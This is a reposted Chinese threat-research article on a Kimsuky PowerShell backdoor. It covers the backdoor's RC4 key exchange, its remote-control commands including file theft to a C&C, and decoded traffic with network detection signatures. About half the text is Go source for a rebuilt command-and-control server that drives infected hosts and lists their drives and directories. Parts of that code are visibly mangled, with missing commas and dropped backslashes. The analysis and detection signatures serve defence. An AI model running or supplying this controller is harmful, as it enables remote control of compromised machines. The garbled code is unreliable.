推陈出新!Kimsuky组织最新远控组件攻击场景复现

admin 2024年3月27日22:36:26评论15 views字数 21212阅读70分42秒阅读模式
文章首发地址:
https://xz.aliyun.com/t/14181
文章首发作者:
T0daySeeker

概述

近期,笔者在浏览网络中威胁情报信息的时候,发现twitter上有人发布了一篇推文,推文的大概意思是推文作者获得了Kimsuky组织使用的PowerShell后门,同时推文作者还赋了一张截图,截图上展示了PowerShell后门的控制端程序的GUI界面。

笔者之前也跟踪过Kimsuky组织,对其所使用的攻击组件有过一些研究,不过此次却是笔者第一次见到其使用PowerShell后门作为最终远控木马端,因此,笔者准备对该PowerShell后门进行详细的深度剖析:

  • 功能分析:发现其使用socket套接字进行网络通信,通信加密算法为RC4,支持12个远控功能指令;
  • 通信模型分析:结合后门通信数据包对其通信模型进行详细的对比分析;
  • 逆向开发控制端:模拟构建PowerShell后门控制端,可有效还原攻击利用场景;

相关截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

PowerShell后门分析

外联上线

通过分析,发现此PowerShell后门运行后,即会根据配置的外联地址发起socket套接字上线通信,默认配置信息为127.0.0.1:8888。

相关代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

通信密钥交互

通过分析,发现此PowerShell后门将使用RC4对称加密算法对通信数据进行加解密,即当建立socket套接字连接后,该后门将把RC4密钥信息发送至控制端,发送RC4密钥的大致流程如下:

  • 使用MD5算法对Mac地址与IP地址拼接的字符串进行Hash运行;
  • 使用socket套接字发送MD5字符串;
  • RC4算法密钥信息
    • SendKey:MD5值+"_r"
    • RecvKey:MD5值+"_s"

相关代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

RC4加密通信

通过将此PowerShell后门的RC4加密算法与Golang语言的"crypto/rc4"库中的RC4算法进行对比,发现:

  • 此PowerShell后门的PrePare_Key函数即为Golang语言"crypto/rc4"库中func NewCipher(key []byte) (*Cipher, error) 函数;
  • 此PowerShell后门的Rc4_Crypt函数即为Golang语言"crypto/rc4"库中func (c *Cipher) XORKeyStream(dst, src []byte)函数;

PowerShell后门RC4算法代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

Golang语言的"crypto/rc4"库中的RC4算法代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

远控功能

通过分析,发现此PowerShell后门支持12个远控指令,梳理远控指令列表如下:

远控指令 对应功能函数 描述
OP_REQ_DRIVE_LIST ProcessDriveList 获取磁盘信息
OP_REQ_PATH_LIST ProcessPathList 获取指定目录文件列表
OP_REQ_PATH_DELETE ProcessPathDelete 删除文件
OP_REQ_EXECUTE ProcessPathExecute 启动程序
OP_REQ_CREATE_ZIP ProcessPathZip 将目录打包成zip文件
OP_REQ_PATH_RENAME ProcessPathRename 重命名文件
OP_REQ_CREATE_DIR ProcessCreateDir 创建目录
OP_REQ_PATH_DOWNLOAD ProcessPathDownload 将指定文件或目录通过POST请求发送至指定C&C
OP_REQ_CLOSE 关闭socket连接
OP_REQ_REMOVE 关闭socket连接
OP_REQ_RESTART 关闭socket连接并重连
OP_REQ_FILE_UPLOAD 上传文件

相关代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

推陈出新!Kimsuky组织最新远控组件攻击场景复现

ProcessPathList

通过分析,发现当PowerShell后门接收到OP_REQ_PATH_LIST指令后,将从接收指令中提取信息,并返回指定目录中的文件列表信息,大致流程如下:

  • 从接收指令中提取信息:4字节DirPathLen、DirPath
  • 返回信息结构如下:
    • RecvData:控制端发送的远控指令载荷内容
    • 4字节Count:获取DirPath目录中的文件及目录的数量
    • InfoLen:目录或文件信息的长度
    • ByInfo:以";"分割相关信息
      • ByInfo目录信息:"0"、目录名、""、目录修改时间
      • ByInfo文件信息:"1"、文件名、文件长度、文件修改时间

相关代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

ProcessPathExecute

通过分析,发现当PowerShell后门接收到OP_REQ_EXECUTE指令后,将从接收指令中提取信息,并启动程序,大致流程如下:

  • 从接收指令中提取信息:4字节PathLen、Path、4字节IsDir
  • 调用Invoke-Expression命令启动程序

相关代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

ProcessPathDownload

通过分析,发现当PowerShell后门接收到OP_REQ_PATH_DOWNLOAD指令后,将从接收指令中提取信息,把指定文件或目录通过POST请求发送至指定C&C处,大致流程如下:

  • 从接收指令中提取信息:4字节PathLen、Path、4字节IsDir、「4字节UrlLen、Url」
  • 若IsDir值为真,则将Path路径下文件打包成zip文件
  • 读取待下载文件的载荷,并将其base64编码
  • 使用POST请求将载荷内容发送至**“Url/show.php”**链接处(「Url值」为接收指令中提取的信息)

相关代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

推陈出新!Kimsuky组织最新远控组件攻击场景复现

PowerShell后门通信模型分析

为了能够更全面的对Kimsuky组织使用的PowerShell后门技术进行剖析,笔者准备在样本分析的基础上,再同时对其通信模型进行详细的剖析,并根据其通信模型特点,梳理提取可针对于Kimsuky组织PowerShell后门的网络流量检测方法。

攻击场景还原

为了能够更好的还原Kimsuky组织PowerShell后门的攻击场景,笔者尝试模拟构建了一款Kimsuky组织PowerShell后门控制端程序,目前可有效的与PowerShell后门进行交互,相关运行效果如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

相关通信数据包截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

推陈出新!Kimsuky组织最新远控组件攻击场景复现

相关操作流程如下:

Server started. Listening on 0.0.0.0:8888
nOpCode:0x0401
nUniqueIdLen:5FD47DF267932964A5B9340E55416BA1
请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST
>help
********支持功能如下********
OP_REQ_CLOSE:关闭连接
OP_REQ_DRIVE_LIST:查看磁盘信息
OP_REQ_PATH_LIST:查看目录
**************************
请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST
>OP_REQ_DRIVE_LIST
nOpCode:0xOP_RES_DRIVE_LIST
DriveCount:1
InfoLen:21
DisplayName:C:()[Fixed,NTFS]
RootDirectory:C:
请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST
>OP_REQ_PATH_LIST
nOpCode:0xOP_RES_PATH_LIST
Command Dir:C:UsersadminAppDataLocalTemp
Count:59
Dir     Low             11/27/2023 14:18:39
Dir     vmware-admin            12/28/2016 11:23:04
Dir     WPDNSE          11/27/2023 14:57:17
File    admin.bmp       49208   12/28/2016 10:38:29
File    ASPNETSetup_00000.log   4128    01/25/2024 09:15:13
File    ASPNETSetup_00001.log   2966    01/25/2024 09:15:15
File    dd_NDP462-KB3151800-x86-x64-AllOS-ENU_decompression_log.txt     1145    01/25/2024 09:17:33
File    dd_SetupUtility.txt     1702    01/25/2024 09:16:13
File    dd_vcredistMSI3DE8.txt  413058  12/28/2016 10:38:48
File    dd_vcredistMSI3E33.txt  422262  12/28/2016 10:39:00
File    dd_vcredistUI3DE8.txt   11634   12/28/2016 10:38:48
File    dd_vcredistUI3E33.txt   11698   12/28/2016 10:39:00
File    dd_vcredist_amd64_20231127134511.log    17423   11/27/2023 13:45:14
File    dd_vcredist_amd64_20231127134511_000_vcRuntimeMinimum_x64.log   124164  11/27/2023 13:45:14
File    dd_vcredist_amd64_20231127134511_001_vcRuntimeAdditional_x64.log        130754  11/27/2023 13:45:14
File    dd_vcredist_amd64_20231127135758.log    12954   11/27/2023 13:58:00
File    dd_vcredist_amd64_20231127142907.log    12954   11/27/2023 14:29:10
File    dd_vcredist_x86_20231127134400.log      17440   11/27/2023 13:45:11
File    dd_vcredist_x86_20231127134400_001_vcRuntimeMinimum_x86.log     124342  11/27/2023 13:45:10
File    dd_vcredist_x86_20231127134400_002_vcRuntimeAdditional_x86.log  136626  11/27/2023 13:45:11
File    dd_vcredist_x86_20231127135754.log      12145   11/27/2023 13:57:58
File    dd_vcredist_x86_20231127142902.log      12145   11/27/2023 14:29:07
File    dd_wcf_CA_smci_20240125_011505_902.txt  7166    01/25/2024 09:15:07
File    dd_wcf_CA_smci_20240125_011507_384.txt  2694    01/25/2024 09:15:07
File    DMI15E0.tmp     0       11/27/2023 13:49:00
File    DMI1777.tmp     0       11/27/2023 13:49:01
File    DMI1F3.tmp      0       11/27/2023 14:10:01
File    DMI35B.tmp      0       11/27/2023 14:10:01
File    DMI4D2.tmp      0       11/27/2023 14:10:01
File    DMI5D.tmp       0       11/27/2023 14:16:33
File    DMIC31F.tmp     0       11/27/2023 14:16:18
File    FXSAPIDebugLogFile.txt  0       12/28/2016 10:39:06
File    Microsoft .NET Framework 4.6.2 Setup_20240125_091143716-MSI_netfx_Full_x64.msi.txt      10773126        01/25/2024 09:16:13
File    Microsoft .NET Framework 4.6.2 Setup_20240125_091143716.html    757334  01/25/2024 09:16:14
File    Python 3.11.3 (64-bit)_20231127145147.log       11342   11/27/2023 14:51:53
File    Python 3.7.4 (64-bit)_20231127145205.log        76307   11/27/2023 14:52:32
File    Python 3.7.4 (64-bit)_20231127145205_000_core_JustForMe.log     86202   11/27/2023 14:52:16
File    Python 3.7.4 (64-bit)_20231127145205_001_dev_JustForMe.log      307366  11/27/2023 14:52:16
File    Python 3.7.4 (64-bit)_20231127145205_002_exe_JustForMe.log      113564  11/27/2023 14:52:17
File    Python 3.7.4 (64-bit)_20231127145205_003_lib_JustForMe.log      1927106 11/27/2023 14:52:19
File    Python 3.7.4 (64-bit)_20231127145205_004_test_JustForMe.log     2525184 11/27/2023 14:52:22
File    Python 3.7.4 (64-bit)_20231127145205_005_doc_JustForMe.log      95712   11/27/2023 14:52:23
File    Python 3.7.4 (64-bit)_20231127145205_006_tools_JustForMe.log    314582  11/27/2023 14:52:23
File    Python 3.7.4 (64-bit)_20231127145205_007_tcltk_JustForMe.log    3176288 11/27/2023 14:52:27
File    Python 3.7.4 (64-bit)_20231127145205_008_launcher_AllUsers.log  105518  11/27/2023 14:52:27
File    Python 3.7.4 (64-bit)_20231127145205_009_pip_JustForMe.log      84778   11/27/2023 14:52:31
File    RGI951F.tmp     10434   01/25/2024 09:15:10
File    RGI951F.tmp-tmp 9000    01/25/2024 09:15:10
File    storePwd.exe    71872   12/28/2016 10:10:18
File    storePwd.ini    24      12/28/2016 10:10:18
File    StructuredQuery.log     46323   11/27/2023 14:25:00
File    unattend.cmd    555     12/28/2016 10:10:18
File    upgrader.exe    599232  12/28/2016 10:10:18
File    vminst.log      2516836 11/27/2023 14:31:10
File    vmmsi.log_20161228_104115.log   3112056 12/28/2016 10:41:15
File    vmmsi.log_20231127_135240_Failed.log    5020132 11/27/2023 13:52:40
File    vmmsi.log_20231127_141057_Failed.log    3292586 11/27/2023 14:10:57
File    vmmsi.log_20231127_143110.log   3178564 11/27/2023 14:31:10
File    wmsetup.log     1869    11/27/2023 14:27:32
请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST
>OP_REQ_CLOSE

通信模型剖析

梳理Kimsuky组织PowerShell后门通信模型如下:

  • 通信密钥交互
#********第一段通信数据 木马端 > 控制端
010424000000200000003546443437444632363739333239363441354239333430453535343136424131
#数据包解析
0104 #_OP_CODE =0x401==OP_UNIQ_ID
24000000 #载荷数据长度 =0x24
20000000 #nUniqueIdLen数据长度 =0x20
#对应字符串:5FD47DF267932964A5B9340E55416BA1 MD5值,将用作RC4密钥
3546443437444632363739333239363441354239333430453535343136424131
  • OP_REQ_DRIVE_LIST:查看磁盘信息
#********控制端 > 木马端
0600000039882655d01d067e859b
#1.数据包解析
06000000 #载荷数据长度 =0x06
39882655d01d067e859b #RC4加密载荷数据
#2.RC4解密 解密密钥:5FD47DF267932964A5B9340E55416BA1_s
02040400000011111111
#3.载荷解析
0204  #_OP_CODE =0x402==OP_REQ_DRIVE_LIST
04000000 #载荷数据长度 =0x04
11111111 #笔者编写代码时随机填充的无效数据

#
********木马端 > 控制端
2300000044ca569d2ec0ffb7a6ae4b90d224c4fd429a28f64d540caa1425161fda0c3ac2584a12
#1.数据包解析
23000000 #载荷数据长度 =0x23
#RC4加密载荷数据
44ca569d2ec0ffb7a6ae4b90d224c4fd429a28f64d540caa1425161fda0c3ac2584a12
#2.RC4解密 解密密钥:5FD47DF267932964A5B9340E55416BA1_r
03041d0000000100000015000000433a5c28295b46697865642c4e5446535d3b433a5c
#3.载荷解析
0304  #_OP_CODE =0x403==OP_RES_DRIVE_LIST
1d000000 #载荷数据长度 =0x1d
01000000 #DriveCount,磁盘数量
15000000 #InfoLen,磁盘信息长度
#对应字符串:C:()[Fixed,NTFS];C:
433a5c28295b46697865642c4e5446535d3b433a5c
#4.磁盘信息解析 以;分割
C:()[Fixed,NTFS] #DisplayName
C:     #RootDirectory
  • OP_REQ_PATH_LIST:获取指定目录文件列表
#********控制端 > 木马端
2700000008ea9e282c214b0a0f180312fae8293185629e4ae2713272303f8f73be7dcc0cb13279e2333142c89d41ef
#数据包解析
27000000 #载荷数据长度 =0x27
#RC4加密载荷数据
08ea9e282c214b0a0f180312fae8293185629e4ae2713272303f8f73be7dcc0cb13279e2333142c89d41ef
#2.RC4解密 解密密钥:5FD47DF267932964A5B9340E55416BA1_s
04042500000021000000433a5c55736572735c61646d696e5c417070446174615c4c6f63616c5c54656d70
#3.载荷解析
0404  #_OP_CODE =0x404==OP_REQ_PATH_LIST
25000000 #载荷数据长度 =0x25
21000000 #载荷数据长度 =0x21
#对应字符串:C:UsersadminAppDataLocalTemp
433a5c55736572735c61646d696e5c417070446174615c4c6f63616c5c54656d70

#
********木马端 > 控制端
f50e00002103e6faacb4d1f2834bf5ba895f971dcfa23f9e91fd4b9745eb2bc63...省略7566字节数据...6023ffddc8a702c0cad037354265b3e272a
#数据包解析
f50e0000 #载荷数据长度 =0xef5
#RC4加密载荷数据
f50e00002103e6faacb4d1f2834bf5ba895f971dcfa23f9e91fd4b9745eb2bc634fcbf0f3c7a01c5c48af2195e43bee07e4cce20f2f1a9823a1e5de47de516d0442165e02f4495b34bc62a559da41eb8db7d1eed6ed8bbed418cd8b6c8e022d00997b132af5843c131ec58ab6b2acc6fb6278b2bd2bf8d66bb307ac49e28d8b36ab99d5164709e421dc8262df2c5529787e4d27dbd0c459dc7f6734044166fb16e44b705509dfad6a81db120caba3055a551e6f2c3245a413427bf6c7c2acf364517959a5cb576dd0a4ac3ab47f29bb0671a3622b362ce45f32a8dfaf000d3798911731809356e08c2aa1adb600102af57e722c1dd85cf03f738117278525bc1f4bb7f7fb289aa416f8bd40291571c79f5839307b04e044d9d8266ca1a67b91aa6f48dddeb8c852ed0e807122d68a8fd50e021d9e0708dab9918a3266b49ec9a42e4066864b8382697c6fd69d739edaba6f1c36dcd8fb...省略6900字节...6232a687f361e851fb0ff4ccdd8abe12aaac2d01b08aac6023ffddc8a702c0cad037354265b3e272a
#2.RC4解密 解密密钥:5FD47DF267932964A5B9340E55416BA1_r
0504ef0e000021000000433a5c55736572735c61646d696e5c417070446174615c4c6f63616c5c54656d703b0000001a000000303b4c6f773b3b31312f32372f323032332031343a31383a333923000000303b766d776172652d61646d696e3b3b31322f32382f323031362031313a32333a30341d000000303b5750444e53453b3b31312f32372f323032332031343a35373a313725000000313b61646d696e2e626d703b34393230383b31322f32382f323031362031303a33383a323930000000313b4153504e455453657475705f30303030302e6c6f673b343132383b30312f32352f323032342030393a31353a313330000000313b4153504e455...省略7100字节...6393b31312f32372f323032332031343a32373a333200000000
#3.载荷解析
0504  #_OP_CODE =0x405==OP_RES_PATH_LIST
ef0e0000 #载荷数据长度 =0xeef
#控制端向木马端发送的远控指令数据
21000000433a5c55736572735c61646d696e5c417070446174615c4c6f63616c5c54656d70
3b000000 #Count,文件数量  =0x3b==59
#循环解析后续载荷数据,共有59段数据
1a000000 #目录或文件信息长度
#对应字符串:0;Low;;11/27/2023 14:18:39
303b4c6f773b3b31312f32372f323032332031343a31383a3339
#目录或文件信息,以;分割
0  #0代表目录
Low  #目录或文件名
11/27/2023 14:18:39  #目录或文件修改时间

相关载荷截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

  • 心跳通信
#********木马端 > 控制端
00

相关通信数据包截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

相关代码截图如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

通信流量检测方法

结合通信模型提取通信流量检测方法,检测特征如下:

  • 第一段通信数据的长度固定为42字节
  • 第一段通信数据的前10字节固定为:01042400000020000000
  • 存在心跳通信数据包,且心跳通信数据为00
  • 由于远控指令交互数据通信数据结构为:4字节载荷数据长度+载荷数据,因此可通过载荷数据长度对其远控指令交互数据通信进行识别检测

逆向开发PowerShell后门控制端

在逆向开发PowerShell后门控制端时,整体还是比较顺利,只是有一点可能容易忽略,就是笔者发现PowerShell后门通信数据中的载荷长度字节与PowerShell后门代码中的载荷长度字节的字节序不一样。

代码实现

在这里,笔者将使用golang语言模拟构建Kimsuky组织PowerShell后门控制端,详细情况如下:

代码结构如下:

推陈出新!Kimsuky组织最新远控组件攻击场景复现

  • main.go
package main

import (
 "awesomeProject5/command"
 "awesomeProject5/common"
 "bufio"
 "crypto/rc4"
 "encoding/hex"
 "fmt"
 "net"
 "os"
 "time"
)

func main() {
 address := "0.0.0.0"
 port := "8888"

 // 创建监听器
 listener, err := net.Listen("tcp", address+":"+port)
 if err != nil {
  fmt.Println("Error listening:", err.Error())
  return
 }
 defer listener.Close()

 fmt.Println("Server started. Listening on " + address + ":" + port)

 for {
  conn, err := listener.Accept()
  if err != nil {
   fmt.Println("Error accepting connection:", err.Error())
   return
  }

  // 处理服务端连接
  go handle_Kimsuky_powershell_Connection(conn)
 }
}

func handle_Kimsuky_powershell_Connection(conn net.Conn) {
 defer conn.Close()

 firstbuf := common.RecvData(conn, 42)
 nOpCode, Data := common.DecodeData(firstbuf, falsenil)

 nUniqueIdLen := []byte{}
 nUniqueIdLen = append(nUniqueIdLen, Data[:4]...)
 common.Reversedata(&nUniqueIdLen)

 ByUniqueId := []byte{}
 ByUniqueId = append(ByUniqueId, Data[4:]...)

 fmt.Println("nOpCode:0x" + hex.EncodeToString(nOpCode))
 fmt.Println("nUniqueIdLen:" + string(ByUniqueId))

 SendKeyData := string(ByUniqueId) + "_r"
 RecvKeyData := string(ByUniqueId) + "_s"

 Global_SendKey, _ := rc4.NewCipher([]byte(SendKeyData))
 Global_RecvKey, _ := rc4.NewCipher([]byte(RecvKeyData))

 encdata := make(chan []byte)
 go keepaliveAndRecvHeader(conn, encdata)
 for {

  text := ""
  fmt.Print("请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LISTn>")
  reader := bufio.NewScanner(os.Stdin)
  if reader.Scan() {
   text = reader.Text()
   if text == "OP_REQ_CLOSE" {
    common.SendBuf(conn, Global_RecvKey, 0x411, []byte{0x110x110x110x11})
    time.Sleep(1 * time.Second)
    os.Exit(1)
   } else if text == "OP_REQ_DRIVE_LIST" {
    common.SendBuf(conn, Global_RecvKey, 0x402, []byte{0x110x110x110x11})
    EncData := <-encdata
    nOpCode, Data = common.DecodeData(EncData, true, Global_SendKey)
    fmt.Println("nOpCode:0x" + common.Enum_OP_CODE(hex.EncodeToString(nOpCode)))
    command.ProcessDriveList(Data)
   } else if text == "OP_REQ_PATH_LIST" {
    buf := []byte("C:\Users\admin\AppData\Local\Temp")
    buflen := common.IntToBytes(len(buf))
    common.Reversedata(&buflen)
    common.SendBuf(conn, Global_RecvKey, 0x404append(buflen, buf...))
    EncData := <-encdata
    //fmt.Println(hex.EncodeToString(EncData))
    nOpCode, Data = common.DecodeData(EncData, true, Global_SendKey)
    fmt.Println("nOpCode:0x" + common.Enum_OP_CODE(hex.EncodeToString(nOpCode)))
    command.ProcessPathList(Data)
   } else if text == "help" {
    fmt.Println("********支持功能如下********")
    fmt.Println("OP_REQ_CLOSE:关闭连接")
    fmt.Println("OP_REQ_DRIVE_LIST:查看磁盘信息")
    fmt.Println("OP_REQ_PATH_LIST:查看目录")
    fmt.Println("**************************")
   }
  }
  if err := reader.Err(); err != nil {
   fmt.Fprintln(os.Stderr, "读取标准输入时发生错误:", err)
   os.Exit(1)
  }
 }
}

func keepaliveAndRecvHeader(conn net.Conn, encdata chan []byte) {
 EncDataLen := []byte{}
 for {
  EncDataLen = common.RecvHeader(conn)
  common.Reversedata(&EncDataLen)
  if len(EncDataLen) > 0 && common.BytesToInt(EncDataLen) > 0 {
   Data := common.RecvData(conn, common.BytesToInt(EncDataLen))
   for {
    if len(Data) >= common.BytesToInt(EncDataLen) {
     break
    } else {
     data := common.RecvData(conn, common.BytesToInt(EncDataLen)-len(Data))
     Data = append(Data, data...)
    }
   }
   encdata <- Data
  }
 }
}
  • common.go
package common

import (
 "bytes"
 "crypto/rc4"
 "encoding/binary"
 "fmt"
 "net"
)

func Reversedata(arr *[]byte) {
 var temp byte
 length := len(*arr)
 for i := 0; i < length/2; i++ {
  temp = (*arr)[i]
  (*arr)[i] = (*arr)[length-1-i]
  (*arr)[length-1-i] = temp
 }
}

func BytesToInt(bys []byte) int {
 bytebuff := bytes.NewBuffer(bys)
 var data int32
 binary.Read(bytebuff, binary.BigEndian, &data)
 return int(data)
}

func IntToBytes(n int) []byte {
 data := int32(n)
 bytebuf := bytes.NewBuffer([]byte{})
 binary.Write(bytebuf, binary.BigEndian, data)
 return bytebuf.Bytes()
}

func IntToBytes_mode(n int, b byte) ([]byte, error) {
 switch b {
 case 1:
  tmp := int8(n)
  bytesBuffer := bytes.NewBuffer([]byte{})
  binary.Write(bytesBuffer, binary.BigEndian, &tmp)
  return bytesBuffer.Bytes(), nil
 case 2:
  tmp := int16(n)
  bytesBuffer := bytes.NewBuffer([]byte{})
  binary.Write(bytesBuffer, binary.BigEndian, &tmp)
  return bytesBuffer.Bytes(), nil
 case 34:
  tmp := int32(n)
  bytesBuffer := bytes.NewBuffer([]byte{})
  binary.Write(bytesBuffer, binary.BigEndian, &tmp)
  return bytesBuffer.Bytes(), nil
 }
 return nil, fmt.Errorf("IntToBytes b param is invaild")
}

func RecvHeader(conn net.Conn) []byte {
 buffer := make([]byte4)
 bytesRead, err := conn.Read(buffer)
 if err != nil {
  //fmt.Println("Error reading:", err.Error())
 }
 return buffer[:bytesRead]
}

func RecvData(conn net.Conn, buflen int) []byte {
 buffer := make([]byte, buflen)
 bytesRead, err := conn.Read(buffer)
 if err != nil {
  fmt.Println("Error reading:", err.Error())
 }
 return buffer[:bytesRead]
}

func DecodeData(recv_buf []byte, isenc bool, Global_SendKey *rc4.Cipher) ([]byte, []byte) {
 recvbuf := []byte{}
 if isenc {
  enc_recv_buf := make([]bytelen(recv_buf))
  Global_SendKey.XORKeyStream(enc_recv_buf, recv_buf)

  recvbuf = enc_recv_buf
 } else {
  recvbuf = recv_buf
 }

 //2字节
 nOpCode := []byte{}
 nOpCode = append(nOpCode, recvbuf[:2]...)
 Reversedata(&nOpCode)
 //4字节
 nDataLen := []byte{}
 nDataLen = append(nDataLen, recvbuf[2:6]...)
 Reversedata(&nDataLen)

 Data := []byte{}
 Data = append(Data, recvbuf[6:]...)

 if BytesToInt(nDataLen) != len(Data) {
  fmt.Println("RecvBuf Error!")
  return nilnil
 }
 return nOpCode, Data
}

func SendBuf(conn net.Conn, Global_RecvKey *rc4.Cipher, OpCode int, Data []byte) {
 //第一段加密:EncDataLen(4) + OPCODE(2), DataLen(4)
 //第二段加密:Data(DataLen)
 send_buf := []byte{}
 buf_header := []byte{}

 opcode, _ := IntToBytes_mode(OpCode, byte(2))
 Reversedata(&opcode)

 //EncDataLen
 EncDataLen := IntToBytes(len(opcode) + len(Data))
 Reversedata(&EncDataLen)
 send_buf = append(send_buf, EncDataLen...)
 //OPCODE
 buf_header = append(buf_header, opcode...)
 //DataLen
 Data_len := IntToBytes(len(Data))
 Reversedata(&Data_len)
 buf_header = append(buf_header, Data_len...)
 //加密
 enc_buf_header := make([]bytelen(buf_header))
 Global_RecvKey.XORKeyStream(enc_buf_header, buf_header)
 send_buf = append(send_buf, enc_buf_header...)

 //Data(DataLen)
 enc_Data := make([]bytelen(Data))
 Global_RecvKey.XORKeyStream(enc_Data, Data)
 send_buf = append(send_buf, enc_Data...)

 conn.Write(send_buf)
 //fmt.Println(hex.EncodeToString(send_buf))
}

func Enum_OP_CODE(op_code string) (str_op_code string) {
 switch op_code {
 case "0401":
  str_op_code = "OP_UNIQ_ID"
 case "0402":
  str_op_code = "OP_REQ_DRIVE_LIST"
 case "0403":
  str_op_code = "OP_RES_DRIVE_LIST"
 case "0404":
  str_op_code = "OP_REQ_PATH_LIST"
 case "0405":
  str_op_code = "OP_RES_PATH_LIST"
 case "0406":
  str_op_code = "OP_REQ_PATH_DOWNLOAD"
 case "0407":
  str_op_code = "OP_RES_PATH_DOWNLOAD"
 case "0408":
  str_op_code = "OP_REQ_PATH_DELETE"
 case "0409":
  str_op_code = "OP_RES_PATH_DELETE"
 case "040A":
  str_op_code = "OP_REQ_FILE_UPLOAD"
 case "040B":
  str_op_code = "OP_RES_FILE_UPLOAD"
 case "040C":
  str_op_code = "OP_REQ_PATH_RENAME"
 case "040D":
  str_op_code = "OP_RES_PATH_RENAME"
 case "040E":
  str_op_code = "OP_REQ_CREATE_DIR"
 case "040F":
  str_op_code = "OP_RES_CREATE_DIR"
 case "0410":
  str_op_code = "OP_REQ_RESTART"
 case "0411":
  str_op_code = "OP_REQ_CLOSE"
 case "0412":
  str_op_code = "OP_REQ_REMOVE"
 case "0413":
  str_op_code = "OP_RES_DRIVE_ERROR"
 case "0414":
  str_op_code = "OP_REQ_EXECUTE"
 case "0415":
  str_op_code = "OP_RES_EXECUTE"
 case "0416":
  str_op_code = "OP_REQ_CREATE_ZIP"
 case "0417":
  str_op_code = "OP_RES_CREATE_ZIP"
 default:
  str_op_code = "test"
 }
 return
}
  • command.go
package command

import (
 "awesomeProject5/common"
 "fmt"
 "strconv"
 "strings"
)

func ProcessDriveList(buffer []byte) {
 //DriveCount
 //InfoLen
 //ByInfo = DisplayName;RootDirectory
 //fmt.Println(hex.EncodeToString(buffer))

 DriveCount := []byte{}
 DriveCount = append(DriveCount, buffer[:4]...)
 common.Reversedata(&DriveCount)
 fmt.Println("DriveCount:" + strconv.Itoa(common.BytesToInt(DriveCount)))

 InfoLen := []byte{}
 InfoLen = append(InfoLen, buffer[4:8]...)
 common.Reversedata(&InfoLen)
 fmt.Println("InfoLen:" + strconv.Itoa(common.BytesToInt(InfoLen)))

 ByInfo := []byte{}
 ByInfo = append(ByInfo, buffer[8:]...)
 tmp := strings.Split(string(ByInfo), ";")
 DisplayName := tmp[0]
 RootDirectory := tmp[1]
 fmt.Println("DisplayName:" + DisplayName)
 fmt.Println("RootDirectory:" + RootDirectory)
}

func ProcessPathList(buffer []byte) {
 //RecvData
 //Count
 //InfoLen,ByInfo
 //dir= "0;" + $dir.Name + ";"+";" + $dir.LastWriteTime;
 //file = "1;" + $file.Name + ";" + $file.Length + ";" + $file.LastWriteTime;
 //fmt.Println(hex.EncodeToString(buffer))
 num := 0
 Len_RecvData := []byte{}
 Len_RecvData = append(Len_RecvData, buffer[:4]...)
 common.Reversedata(&Len_RecvData)
 num = num + 4 + common.BytesToInt(Len_RecvData)
 fmt.Println("Command Dir:" + string(buffer[4:4+common.BytesToInt(Len_RecvData)]))

 Count := []byte{}
 Count = append(Count, buffer[num:num+4]...)
 common.Reversedata(&Count)
 num = num + 4
 fmt.Println("Count:" + strconv.Itoa(common.BytesToInt(Count)))

 for {
  if num >= len(buffer) {
   break
  }
  InfoLen := []byte{}
  InfoLen = append(InfoLen, buffer[num:num+4]...)
  common.Reversedata(&InfoLen)
  num = num + 4
  ByInfo := string(buffer[num : num+common.BytesToInt(InfoLen)])
  num = num + common.BytesToInt(InfoLen)
  tmp := strings.Split(ByInfo, ";")
  if tmp[0] == "0" {
   fmt.Println("Dirt" + tmp[1] + "t" + tmp[2] + "t" + tmp[3])
  } else if tmp[0] == "1" {
   fmt.Println("Filet" + tmp[1] + "t" + tmp[2] + "t" + tmp[3])
  }
 }
}

原文始发于微信公众号(奇点威胁):推陈出新!Kimsuky组织最新远控组件攻击场景复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月27日22:36:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   推陈出新!Kimsuky组织最新远控组件攻击场景复现https://cn-sec.com/archives/2608335.html

发表评论

匿名网友 填写信息